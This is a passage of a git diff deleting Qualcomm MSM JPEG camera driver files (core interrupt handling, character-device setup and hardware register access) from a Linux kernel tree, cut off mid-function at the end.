init_waitqueue_head(&pgmn_dev->reset_wait); - spin_lock_init(&pgmn_dev->reset_lock); -} - -int msm_jpeg_core_fe_start(struct msm_jpeg_device *pgmn_dev) -{ - msm_jpeg_hw_fe_start(pgmn_dev->base); - return 0; -} - -/* fetch engine */ -int msm_jpeg_core_fe_buf_update(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf) -{ - if (0 == buf->cbcr_len) - buf->cbcr_buffer_addr = 0x0; - JPEG_DBG("%s:%d] 0x%08x %d 0x%08x %d\n", __func__, __LINE__, - (int) buf->y_buffer_addr, buf->y_len, - (int) buf->cbcr_buffer_addr, buf->cbcr_len); - return msm_jpeg_hw_pingpong_update(&pgmn_dev->fe_pingpong_buf, buf, - pgmn_dev->base); -} - -void *msm_jpeg_core_fe_pingpong_irq(int jpeg_irq_status, - struct msm_jpeg_device *pgmn_dev) -{ - return msm_jpeg_hw_pingpong_irq(&pgmn_dev->fe_pingpong_buf); -} - -/* write engine */ -int msm_jpeg_core_we_buf_update(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf) { - JPEG_DBG("%s:%d] 0x%08x 0x%08x %d\n", __func__, __LINE__, - (int) buf->y_buffer_addr, (int) buf->cbcr_buffer_addr, - buf->y_len); - pgmn_dev->we_pingpong_buf.buf[0] = *buf; - pgmn_dev->we_pingpong_buf.buf_status[0] = 1; - msm_jpeg_hw_we_buffer_update( - &pgmn_dev->we_pingpong_buf.buf[0], 0, pgmn_dev->base); - - return 0; -} - -int msm_jpeg_core_we_buf_reset(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_hw_buf *buf) -{ - int i = 0; - for (i = 0; i < 2; i++) { - if (pgmn_dev->we_pingpong_buf.buf[i].y_buffer_addr - == buf->y_buffer_addr) - pgmn_dev->we_pingpong_buf.buf_status[i] = 0; - } - return 0; -} - -void *msm_jpeg_core_we_pingpong_irq(int jpeg_irq_status, - struct msm_jpeg_device *pgmn_dev) -{ - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - - return msm_jpeg_hw_pingpong_irq(&pgmn_dev->we_pingpong_buf); -} - -void *msm_jpeg_core_framedone_irq(int jpeg_irq_status, - struct msm_jpeg_device *pgmn_dev) -{ - struct msm_jpeg_hw_buf *buf_p; - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - - buf_p = msm_jpeg_hw_pingpong_active_buffer( - &pgmn_dev->we_pingpong_buf); - if (buf_p && !pgmn_dev->decode_flag) { - buf_p->framedone_len = - msm_jpeg_hw_encode_output_size(pgmn_dev->base); - JPEG_DBG("%s:%d] framedone_len %d\n", __func__, __LINE__, - buf_p->framedone_len); - } - - return buf_p; -} - -void *msm_jpeg_core_reset_ack_irq(int jpeg_irq_status, - struct msm_jpeg_device *pgmn_dev) -{ - /* @todo return the status back to msm_jpeg_core_reset */ - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - return NULL; -} - -void *msm_jpeg_core_err_irq(int jpeg_irq_status, - struct msm_jpeg_device *pgmn_dev) -{ - JPEG_PR_ERR("%s: Error %x\n", __func__, jpeg_irq_status); - return NULL; -} - -static int (*msm_jpeg_irq_handler) (int, void *, void *); - -void msm_jpeg_core_return_buffers(struct msm_jpeg_device *pgmn_dev, - int jpeg_irq_status) -{ - void *data = NULL; - data = msm_jpeg_core_fe_pingpong_irq(jpeg_irq_status, - pgmn_dev); - if (msm_jpeg_irq_handler) - msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_FE, - pgmn_dev, data); - data = msm_jpeg_core_we_pingpong_irq(jpeg_irq_status, - pgmn_dev); - if (msm_jpeg_irq_handler) - msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_WE, - pgmn_dev, data); -} - -irqreturn_t msm_jpeg_core_irq(int irq_num, void *context) -{ - void *data = NULL; - unsigned long flags; - int jpeg_irq_status; - struct msm_jpeg_device *pgmn_dev = (struct msm_jpeg_device *)context; - - JPEG_DBG("%s:%d] irq_num = %d\n", __func__, __LINE__, irq_num); - - jpeg_irq_status = msm_jpeg_hw_irq_get_status(pgmn_dev->base); - - JPEG_DBG("%s:%d] jpeg_irq_status = %0x\n", __func__, __LINE__, - jpeg_irq_status); - - /*For reset and framedone IRQs, clear all bits*/ - if (pgmn_dev->state == MSM_JPEG_IDLE) { - JPEG_DBG_HIGH("%s %d ] Error IRQ received state %d", - __func__, __LINE__, pgmn_dev->state); - JPEG_DBG_HIGH("%s %d ] Ignoring the Error", __func__, - __LINE__); - msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, - JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); - return IRQ_HANDLED; - } else if (jpeg_irq_status & 0x10000000) { - msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, - JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); - } else if (jpeg_irq_status & 0x1) { - msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, - JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); - if (pgmn_dev->decode_flag) - msm_jpeg_decode_status(pgmn_dev->base); - } else { - msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, - jpeg_irq_status, pgmn_dev->base); - } - - if (msm_jpeg_hw_irq_is_frame_done(jpeg_irq_status)) { - /* send fe ping pong irq */ - JPEG_DBG_HIGH("%s:%d] Session done\n", __func__, __LINE__); - data = msm_jpeg_core_fe_pingpong_irq(jpeg_irq_status, - pgmn_dev); - if (msm_jpeg_irq_handler) - msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_FE, - context, data); - data = msm_jpeg_core_framedone_irq(jpeg_irq_status, - pgmn_dev); - if (msm_jpeg_irq_handler) - msm_jpeg_irq_handler( - MSM_JPEG_HW_MASK_COMP_FRAMEDONE, - context, data); - pgmn_dev->state = MSM_JPEG_INIT; - } - if (msm_jpeg_hw_irq_is_reset_ack(jpeg_irq_status)) { - data = msm_jpeg_core_reset_ack_irq(jpeg_irq_status, - pgmn_dev); - spin_lock_irqsave(&pgmn_dev->reset_lock, flags); - pgmn_dev->reset_done_ack = 1; - spin_unlock_irqrestore(&pgmn_dev->reset_lock, flags); - wake_up(&pgmn_dev->reset_wait); - if (msm_jpeg_irq_handler) - msm_jpeg_irq_handler( - MSM_JPEG_HW_MASK_COMP_RESET_ACK, - context, data); - } - - /* Unexpected/unintended HW interrupt */ - if (msm_jpeg_hw_irq_is_err(jpeg_irq_status)) { - if (pgmn_dev->state != MSM_JPEG_EXECUTING) { - /*Clear all the bits and ignore the IRQ*/ - JPEG_DBG_HIGH("%s %d ] Error IRQ received state %d", - __func__, __LINE__, pgmn_dev->state); - JPEG_DBG_HIGH("%s %d ] Ignoring the Error", __func__, - __LINE__); - msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, - JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); - return IRQ_HANDLED; - } else { - if (pgmn_dev->decode_flag) - msm_jpeg_decode_status(pgmn_dev->base); - msm_jpeg_core_return_buffers(pgmn_dev, jpeg_irq_status); - data = msm_jpeg_core_err_irq(jpeg_irq_status, pgmn_dev); - if (msm_jpeg_irq_handler) { - msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_ERR, - context, data); - } - } - } - - return IRQ_HANDLED; -} - -void msm_jpeg_core_irq_install(int (*irq_handler) (int, void *, void *)) -{ - msm_jpeg_irq_handler = irq_handler; -} - -void msm_jpeg_core_irq_remove(void) -{ - msm_jpeg_irq_handler = NULL; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h deleted file mode 100644 index 212eaff91d884..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h +++ /dev/null @@ -1,40 +0,0 @@ -/* Copyright (c) 2012, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_JPEG_CORE_H -#define MSM_JPEG_CORE_H - -#include -#include "msm_jpeg_hw.h" -#include "msm_jpeg_sync.h" - -#define msm_jpeg_core_buf msm_jpeg_hw_buf - -irqreturn_t msm_jpeg_core_irq(int irq_num, void *context); - -void msm_jpeg_core_irq_install(int (*irq_handler) (int, void *, void *)); -void msm_jpeg_core_irq_remove(void); - -int msm_jpeg_core_fe_buf_update(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf); -int msm_jpeg_core_we_buf_update(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf); -int msm_jpeg_core_we_buf_reset(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_hw_buf *buf); - -int msm_jpeg_core_reset(struct msm_jpeg_device *pgmn_dev, uint8_t op_mode, - void *base, int size); -int msm_jpeg_core_fe_start(struct msm_jpeg_device *); - -void msm_jpeg_core_release(struct msm_jpeg_device *, int); -void msm_jpeg_core_init(struct msm_jpeg_device *); -#endif /* MSM_JPEG_CORE_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c deleted file mode 100644 index 34273d90b8c42..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c +++ /dev/null @@ -1,315 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "msm_jpeg_sync.h" -#include "msm_jpeg_common.h" - -#define MSM_JPEG_NAME "jpeg" -#define DEV_NAME_LEN 10 - -static int msm_jpeg_open(struct inode *inode, struct file *filp) -{ - int rc = 0; - - struct msm_jpeg_device *pgmn_dev = container_of(inode->i_cdev, - struct msm_jpeg_device, cdev); - filp->private_data = pgmn_dev; - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - - rc = __msm_jpeg_open(pgmn_dev); - - JPEG_DBG(KERN_INFO "%s:%d] %s open_count = %d\n", __func__, __LINE__, - filp->f_path.dentry->d_name.name, pgmn_dev->open_count); - - return rc; -} - -static int msm_jpeg_release(struct inode *inode, struct file *filp) -{ - int rc; - - struct msm_jpeg_device *pgmn_dev = filp->private_data; - - JPEG_DBG(KERN_INFO "%s:%d]\n", __func__, __LINE__); - - rc = __msm_jpeg_release(pgmn_dev); - - JPEG_DBG(KERN_INFO "%s:%d] %s open_count = %d\n", __func__, __LINE__, - filp->f_path.dentry->d_name.name, pgmn_dev->open_count); - return rc; -} -#ifdef CONFIG_COMPAT -static long msm_jpeg_compat_ioctl(struct file *filp, unsigned int cmd, - unsigned long arg) -{ - int rc; - struct msm_jpeg_device *pgmn_dev = filp->private_data; - - JPEG_DBG("%s:%d] cmd=%d pgmn_dev=0x%x arg=0x%x\n", __func__, - __LINE__, _IOC_NR(cmd), (uint32_t)pgmn_dev, (uint32_t)arg); - - rc = __msm_jpeg_compat_ioctl(pgmn_dev, cmd, arg); - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - return rc; -} -#endif -static long msm_jpeg_ioctl(struct file *filp, unsigned int cmd, - unsigned long arg) -{ - int rc; - struct msm_jpeg_device *pgmn_dev = filp->private_data; - - JPEG_DBG("%s:%d] cmd=%d pgmn_dev=0x%x arg=0x%x\n", __func__, - __LINE__, _IOC_NR(cmd), (uint32_t)pgmn_dev, (uint32_t)arg); - - rc = __msm_jpeg_ioctl(pgmn_dev, cmd, arg); - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - return rc; -} - -static const struct file_operations msm_jpeg_fops = { - .owner = THIS_MODULE, - .open = msm_jpeg_open, - .release = msm_jpeg_release, - .unlocked_ioctl = msm_jpeg_ioctl, -#ifdef CONFIG_COMPAT - .compat_ioctl = msm_jpeg_compat_ioctl, -#endif -}; - - -int msm_jpeg_subdev_init(struct v4l2_subdev *jpeg_sd) -{ - int rc; - struct msm_jpeg_device *pgmn_dev = - (struct msm_jpeg_device *)jpeg_sd->host_priv; - - JPEG_DBG("%s:%d: jpeg_sd=0x%x pgmn_dev=0x%x\n", - __func__, __LINE__, (uint32_t)jpeg_sd, (uint32_t)pgmn_dev); - rc = __msm_jpeg_open(pgmn_dev); - JPEG_DBG("%s:%d: rc=%d\n", - __func__, __LINE__, rc); - return rc; -} - -static long msm_jpeg_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - long rc; - struct msm_jpeg_device *pgmn_dev = - (struct msm_jpeg_device *)sd->host_priv; - - JPEG_DBG("%s: cmd=%d\n", __func__, cmd); - - JPEG_DBG("%s: pgmn_dev 0x%x", __func__, (uint32_t)pgmn_dev); - - JPEG_DBG("%s: Calling __msm_jpeg_ioctl\n", __func__); - - rc = __msm_jpeg_ioctl(pgmn_dev, cmd, (unsigned long)arg); - pr_debug("%s: X\n", __func__); - return rc; -} - -void msm_jpeg_subdev_release(struct v4l2_subdev *jpeg_sd) -{ - int rc; - struct msm_jpeg_device *pgmn_dev = - (struct msm_jpeg_device *)jpeg_sd->host_priv; - JPEG_DBG("%s:pgmn_dev=0x%x", __func__, (uint32_t)pgmn_dev); - rc = __msm_jpeg_release(pgmn_dev); - JPEG_DBG("%s:rc=%d", __func__, rc); -} - -static const struct v4l2_subdev_core_ops msm_jpeg_subdev_core_ops = { - .ioctl = msm_jpeg_subdev_ioctl, -}; - -static const struct v4l2_subdev_ops msm_jpeg_subdev_ops = { - .core = &msm_jpeg_subdev_core_ops, -}; - -static int msm_jpeg_init_dev(struct platform_device *pdev) -{ - int rc = -1; - struct device *dev; - struct msm_jpeg_device *msm_jpeg_device_p; - char devname[DEV_NAME_LEN]; - - msm_jpeg_device_p = kzalloc(sizeof(struct msm_jpeg_device), GFP_ATOMIC); - if (!msm_jpeg_device_p) { - JPEG_PR_ERR("%s: no mem\n", __func__); - return -EFAULT; - } - - msm_jpeg_device_p->pdev = pdev; - - if (pdev->dev.of_node) - of_property_read_u32((&pdev->dev)->of_node, "cell-index", - &pdev->id); - - snprintf(devname, sizeof(devname), "%s%d", MSM_JPEG_NAME, pdev->id); - - rc = __msm_jpeg_init(msm_jpeg_device_p); - if (rc < -1) { - JPEG_PR_ERR("%s: initialization failed\n", __func__); - goto fail; - } - - v4l2_subdev_init(&msm_jpeg_device_p->subdev, &msm_jpeg_subdev_ops); - v4l2_set_subdev_hostdata(&msm_jpeg_device_p->subdev, msm_jpeg_device_p); - JPEG_DBG("%s: msm_jpeg_device_p 0x%x", __func__, - (uint32_t)msm_jpeg_device_p); - - rc = alloc_chrdev_region(&msm_jpeg_device_p->msm_jpeg_devno, 0, 1, - devname); - if (rc < 0) { - JPEG_PR_ERR("%s: failed to allocate chrdev\n", __func__); - goto fail_1; - } - - if (!msm_jpeg_device_p->msm_jpeg_class) { - msm_jpeg_device_p->msm_jpeg_class = - class_create(THIS_MODULE, devname); - if (IS_ERR(msm_jpeg_device_p->msm_jpeg_class)) { - rc = PTR_ERR(msm_jpeg_device_p->msm_jpeg_class); - JPEG_PR_ERR("%s: create device class failed\n", - __func__); - goto fail_2; - } - } - - dev = device_create(msm_jpeg_device_p->msm_jpeg_class, NULL, - MKDEV(MAJOR(msm_jpeg_device_p->msm_jpeg_devno), - MINOR(msm_jpeg_device_p->msm_jpeg_devno)), NULL, - "%s%d", MSM_JPEG_NAME, pdev->id); - if (IS_ERR(dev)) { - JPEG_PR_ERR("%s: error creating device\n", __func__); - rc = -ENODEV; - goto fail_3; - } - - cdev_init(&msm_jpeg_device_p->cdev, &msm_jpeg_fops); - msm_jpeg_device_p->cdev.owner = THIS_MODULE; - msm_jpeg_device_p->cdev.ops = - (const struct file_operations *) &msm_jpeg_fops; - rc = cdev_add(&msm_jpeg_device_p->cdev, - msm_jpeg_device_p->msm_jpeg_devno, 1); - if (rc < 0) { - JPEG_PR_ERR("%s: error adding cdev\n", __func__); - rc = -ENODEV; - goto fail_4; - } - - platform_set_drvdata(pdev, &msm_jpeg_device_p); - - JPEG_DBG("%s %s%d: success\n", __func__, MSM_JPEG_NAME, pdev->id); - - return rc; - -fail_4: - device_destroy(msm_jpeg_device_p->msm_jpeg_class, - msm_jpeg_device_p->msm_jpeg_devno); - -fail_3: - class_destroy(msm_jpeg_device_p->msm_jpeg_class); - -fail_2: - unregister_chrdev_region(msm_jpeg_device_p->msm_jpeg_devno, 1); - -fail_1: - __msm_jpeg_exit(msm_jpeg_device_p); - return rc; - -fail: - kfree(msm_jpeg_device_p); - return rc; - -} - -static void msm_jpeg_exit(struct msm_jpeg_device *msm_jpeg_device_p) -{ - cdev_del(&msm_jpeg_device_p->cdev); - device_destroy(msm_jpeg_device_p->msm_jpeg_class, - msm_jpeg_device_p->msm_jpeg_devno); - class_destroy(msm_jpeg_device_p->msm_jpeg_class); - unregister_chrdev_region(msm_jpeg_device_p->msm_jpeg_devno, 1); - - __msm_jpeg_exit(msm_jpeg_device_p); -} - -static int __msm_jpeg_probe(struct platform_device *pdev) -{ - return msm_jpeg_init_dev(pdev); -} - -static int __msm_jpeg_remove(struct platform_device *pdev) -{ - struct msm_jpeg_device *msm_jpegd_device_p; - - msm_jpegd_device_p = platform_get_drvdata(pdev); - if (msm_jpegd_device_p) - msm_jpeg_exit(msm_jpegd_device_p); - - return 0; -} - -static const struct of_device_id msm_jpeg_dt_match[] = { - {.compatible = "qcom,jpeg"}, - {}, -}; - -MODULE_DEVICE_TABLE(of, msm_jpeg_dt_match); - -static struct platform_driver msm_jpeg_driver = { - .probe = __msm_jpeg_probe, - .remove = __msm_jpeg_remove, - .driver = { - .name = "msm_jpeg", - .owner = THIS_MODULE, - .of_match_table = msm_jpeg_dt_match, - }, -}; - -static int __init msm_jpeg_driver_init(void) -{ - int rc; - rc = platform_driver_register(&msm_jpeg_driver); - return rc; -} - -static void __exit msm_jpeg_driver_exit(void) -{ - platform_driver_unregister(&msm_jpeg_driver); -} - -MODULE_DESCRIPTION("msm jpeg jpeg driver"); - -module_init(msm_jpeg_driver_init); -module_exit(msm_jpeg_driver_exit); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c deleted file mode 100644 index 19696953eb788..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c +++ /dev/null @@ -1,416 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include "msm_jpeg_hw.h" -#include "msm_jpeg_common.h" - -#include - -int msm_jpeg_hw_pingpong_update(struct msm_jpeg_hw_pingpong *pingpong_hw, - struct msm_jpeg_hw_buf *buf, void *base) -{ - int buf_free_index = -1; - - if (!pingpong_hw->buf_status[0]) { - buf_free_index = 0; - } else if (!pingpong_hw->buf_status[1]) { - buf_free_index = 1; - } else { - JPEG_PR_ERR("%s:%d: pingpong buffer busy\n", - __func__, __LINE__); - return -EBUSY; - } - - pingpong_hw->buf[buf_free_index] = *buf; - pingpong_hw->buf_status[buf_free_index] = 1; - - if (pingpong_hw->is_fe) { - /* it is fe */ - msm_jpeg_hw_fe_buffer_update( - &pingpong_hw->buf[buf_free_index], buf_free_index, - base); - } else { - /* it is we */ - msm_jpeg_hw_we_buffer_update( - &pingpong_hw->buf[buf_free_index], buf_free_index, - base); - } - return 0; -} - -void *msm_jpeg_hw_pingpong_irq(struct msm_jpeg_hw_pingpong *pingpong_hw) -{ - struct msm_jpeg_hw_buf *buf_p = NULL; - - if (pingpong_hw->buf_status[pingpong_hw->buf_active_index]) { - buf_p = &pingpong_hw->buf[pingpong_hw->buf_active_index]; - pingpong_hw->buf_status[pingpong_hw->buf_active_index] = 0; - } - - pingpong_hw->buf_active_index = !pingpong_hw->buf_active_index; - - return (void *) buf_p; -} - -void *msm_jpeg_hw_pingpong_active_buffer( - struct msm_jpeg_hw_pingpong *pingpong_hw) -{ - struct msm_jpeg_hw_buf *buf_p = NULL; - - if (pingpong_hw->buf_status[pingpong_hw->buf_active_index]) - buf_p = &pingpong_hw->buf[pingpong_hw->buf_active_index]; - - return (void *) buf_p; -} - -struct msm_jpeg_hw_cmd hw_cmd_irq_get_status[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_READ, 1, JPEG_IRQ_STATUS_ADDR, - JPEG_IRQ_STATUS_BMSK, {0} }, -}; - -int msm_jpeg_hw_irq_get_status(void *base) -{ - uint32_t n_irq_status = 0; - n_irq_status = msm_jpeg_hw_read(&hw_cmd_irq_get_status[0], base); - return n_irq_status; -} - -struct msm_jpeg_hw_cmd hw_cmd_encode_output_size[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_READ, 1, - JPEG_ENCODE_OUTPUT_SIZE_STATUS_ADDR, - JPEG_ENCODE_OUTPUT_SIZE_STATUS_BMSK, {0} } , -}; - -long msm_jpeg_hw_encode_output_size(void *base) -{ - uint32_t encode_output_size = 0; - - encode_output_size = msm_jpeg_hw_read(&hw_cmd_encode_output_size[0], - base); - - return encode_output_size; -} - -struct msm_jpeg_hw_cmd hw_cmd_irq_clear[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_CLEAR_ADDR, - JPEG_IRQ_CLEAR_BMSK, {JPEG_IRQ_CLEAR_ALL} }, -}; - -void msm_jpeg_hw_irq_clear(uint32_t mask, uint32_t data, void *base) -{ - JPEG_DBG("%s:%d] mask %0x data %0x", __func__, __LINE__, mask, data); - hw_cmd_irq_clear[0].mask = mask; - hw_cmd_irq_clear[0].data = data; - msm_jpeg_hw_write(&hw_cmd_irq_clear[0], base); -} - -struct msm_jpeg_hw_cmd hw_cmd_fe_ping_update[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_MASK_ADDR, - JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_ALLSOURCES_ENABLE} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_CMD_ADDR, - JPEG_CMD_BMSK, {JPEG_CMD_CLEAR_WRITE_PLN_QUEUES} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN0_RD_OFFSET_ADDR, - JPEG_PLN0_RD_OFFSET_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN0_RD_PNTR_ADDR, - JPEG_PLN0_RD_PNTR_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN1_RD_OFFSET_ADDR, - JPEG_PLN1_RD_OFFSET_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN1_RD_PNTR_ADDR, - JPEG_PLN1_RD_PNTR_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN2_RD_OFFSET_ADDR, - JPEG_PLN1_RD_OFFSET_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN2_RD_PNTR_ADDR, - JPEG_PLN2_RD_PNTR_BMSK, {0} }, -}; - -void msm_jpeg_hw_fe_buffer_update(struct msm_jpeg_hw_buf *p_input, - uint8_t pingpong_index, void *base) -{ - struct msm_jpeg_hw_cmd *hw_cmd_p; - - if (pingpong_index == 0) { - hw_cmd_p = &hw_cmd_fe_ping_update[0]; - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - hw_cmd_p->data = p_input->y_buffer_addr; - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - hw_cmd_p->data = p_input->cbcr_buffer_addr; - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - hw_cmd_p->data = p_input->pln2_addr; - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - } - return; -} - -struct msm_jpeg_hw_cmd hw_cmd_fe_start[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_CMD_ADDR, - JPEG_CMD_BMSK, {JPEG_OFFLINE_CMD_START} }, -}; - -void msm_jpeg_hw_fe_start(void *base) -{ - msm_jpeg_hw_write(&hw_cmd_fe_start[0], base); - - return; -} - -struct msm_jpeg_hw_cmd hw_cmd_we_ping_update[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN0_WR_PNTR_ADDR, - JPEG_PLN0_WR_PNTR_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN1_WR_PNTR_ADDR, - JPEG_PLN0_WR_PNTR_BMSK, {0} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN2_WR_PNTR_ADDR, - JPEG_PLN0_WR_PNTR_BMSK, {0} }, -}; - -void msm_jpeg_decode_status(void *base) -{ - uint32_t data; - data = readl_relaxed(base + JPEG_DECODE_MCUS_DECODED_STATUS); - JPEG_DBG_HIGH("Decode MCUs decode status %u", data); - data = readl_relaxed(base + JPEG_DECODE_BITS_CONSUMED_STATUS); - JPEG_DBG_HIGH("Decode bits consumed status %u", data); - data = readl_relaxed(base + JPEG_DECODE_PRED_Y_STATE); - JPEG_DBG_HIGH("Decode prediction Y state %u", data); - data = readl_relaxed(base + JPEG_DECODE_PRED_C_STATE); - JPEG_DBG_HIGH("Decode prediction C state %u", data); - data = readl_relaxed(base + JPEG_DECODE_RSM_STATE); - JPEG_DBG_HIGH("Decode prediction RSM state %u", data); -} - - -void msm_jpeg_hw_we_buffer_update(struct msm_jpeg_hw_buf *p_input, - uint8_t pingpong_index, void *base) -{ - struct msm_jpeg_hw_cmd *hw_cmd_p; - - if (pingpong_index == 0) { - hw_cmd_p = &hw_cmd_we_ping_update[0]; - hw_cmd_p->data = p_input->y_buffer_addr; - JPEG_DBG_HIGH("%s Output pln0 buffer address is %x\n", __func__, - p_input->y_buffer_addr); - msm_jpeg_hw_write(hw_cmd_p++, base); - hw_cmd_p->data = p_input->cbcr_buffer_addr; - JPEG_DBG_HIGH("%s Output pln1 buffer address is %x\n", __func__, - p_input->cbcr_buffer_addr); - msm_jpeg_hw_write(hw_cmd_p++, base); - hw_cmd_p->data = p_input->pln2_addr; - JPEG_DBG_HIGH("%s Output pln2 buffer address is %x\n", __func__, - p_input->pln2_addr); - msm_jpeg_hw_write(hw_cmd_p++, base); - } - return; -} - -struct msm_jpeg_hw_cmd hw_cmd_reset[] = { - /* type, repeat n times, offset, mask, data or pdata */ - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_MASK_ADDR, - JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_DISABLE_ALL} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_CLEAR_ADDR, - JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_CLEAR_ALL} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_MASK_ADDR, - JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_ALLSOURCES_ENABLE} }, - {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_RESET_CMD_ADDR, - JPEG_RESET_CMD_RMSK, {JPEG_RESET_DEFAULT} }, -}; - -void msm_jpeg_hw_reset(void *base, int size) -{ - struct msm_jpeg_hw_cmd *hw_cmd_p; - - hw_cmd_p = &hw_cmd_reset[0]; - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p++, base); - wmb(); - msm_jpeg_hw_write(hw_cmd_p, base); - wmb(); - - return; -} - -uint32_t msm_jpeg_hw_read(struct msm_jpeg_hw_cmd *hw_cmd_p, - void *jpeg_region_base) -{ - uint32_t *paddr; - uint32_t data; - - paddr = jpeg_region_base + hw_cmd_p->offset; - - data = readl_relaxed(paddr); - data &= hw_cmd_p->mask; - - return data; -} - -void msm_jpeg_hw_write(struct msm_jpeg_hw_cmd *hw_cmd_p, - void *jpeg_region_base) -{ - uint32_t *paddr; - uint32_t old_data, new_data; - - paddr = jpeg_region_base + hw_cmd_p->offset; - - if (hw_cmd_p->mask == 0xffffffff) { - old_data = 0; - } else { - 